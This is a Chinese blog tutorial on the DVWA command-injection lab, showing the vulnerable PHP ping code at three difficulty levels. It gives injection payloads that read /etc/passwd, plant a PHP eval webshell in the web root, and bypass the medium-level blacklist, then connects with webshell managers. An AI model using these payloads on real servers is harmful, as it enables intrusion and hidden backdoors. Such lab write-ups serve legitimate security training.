DVWA【Command Execution】命令注入模块

一、工具

靶机 Metasploitable2
WebApplication——DVWA
菜刀——蚁剑

二、原理及条件

原理: 是指在某些需要输入数据的位置,还构造了恶意的代码破坏了原先的语句结构。而系统缺少有效的过滤,最终达到破坏数据、信息泄露甚至掌控电脑的目的。(通过web程序,在服务器上拼接系统命令)

注入条件:

  • web应用程序调用可执行系统命令的函数
  • 执行系统命令的函数或函数的参数可控
  • 可控参数可拼接注入参数

具体实战

正常输入:
在这里插入图片描述

low等级

后台代码:
<?php 
if( isset( $_POST[ 'submit' ] ) ) { 
    $target = $_REQUEST[ 'ip' ]; 
    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  
        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '<pre>'.$cmd.'</pre>';   
    } else {  
        $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 
    }   
} 
?>  

发现对输入没有做任何过滤处理!

127.0.0.1 && /cat /etc/passwd    发现可行

简单介绍下 linux 里  && 、&、||、|
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’    
&  表示任务在后台执行,如要在后台运行redis-server,则有  redis-server &
| 表示管道,上一条命令的输出,作为下一条命令参数的输入,如 echo ‘yes’ | wc -l
|| 表示前一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”

在这里插入图片描述
接下来我就直接介绍怎么注入木马拿库

之前有次线上的比赛,被虐死,其中web有道题就命令注入
然后有人先进库拿到了flag,但是他没退出来,而是选择“监视”
看到有人上传木马他就删了(是的,大佬比较闲,后面还是举办方又重新上线那个web)
所以,实际点,上手就直接拿webshell

127.0.0.1; echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 && echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php 

127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
注【我这里写的文件保存在web根目录下,只是为了方便】  \  是用来转义的

在这里插入图片描述
在这里插入图片描述
发现上传成功! 接着就可以上菜刀连了
在这里插入图片描述
具体蚁剑的连接参考
在这里插入图片描述
我们线上当时flag就在根目录里,是个隐式文件 。结果那家伙待在这监视,还把那个文件内容给改了,也就是就算没有删除上传的木马,后面人拿到的flag也是错的!
其他代码我就不演示了!我都试过也是可以运行的

medium等级

后台代码:
<?php 
if( isset( $_POST[ 'submit'] ) ) { 
    $target = $_REQUEST[ 'ip' ]; 
    // Remove any of the charactars in the array (blacklist). 
    $substitutions = array( 
        '&&' => '', 
        ';' => '', 
    ); 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  
        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 
    } else {  
        $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
        echo '<pre>'.$cmd.'</pre>';        
    } 
} 
?> 

分析后,发现只是对 && 和 ; 进行了过滤

绕过代码:
127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 &;& echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
上面这条也可以用,这也是技巧,系统先过滤掉 ;  没有第二遍过滤 &&

在这里插入图片描述
接着就是菜刀拿库了!

high等级

<?php 
if( isset( $_POST[ 'submit' ] ) ) { 
    $target = $_REQUEST["ip"];   
    $target = stripslashes( $target ); 
    // Split the IP into 4 octects 
    $octet = explode(".", $target); 
    // Check IF each octet is an integer 
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) { 
    // If all 4 octets are int's put the IP back together. 
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]; 
        // Determine OS and execute the ping command. 
        if (stristr(php_uname('s'), 'Windows NT')) {  
            $cmd = shell_exec( 'ping  ' . $target ); 
            echo '<pre>'.$cmd.'</pre>';   
        } else {  
            $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
            echo '<pre>'.$cmd.'</pre>';   
        } 
    }   
    else { 
        echo '<pre>ERROR: You have entered an invalid IP</pre>'; 
    }    
} 
?> 

这个就基本没戏了,系统对输入进行 “.” 分割,还对各个部分判断是否是数字字符串,然后再重组。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值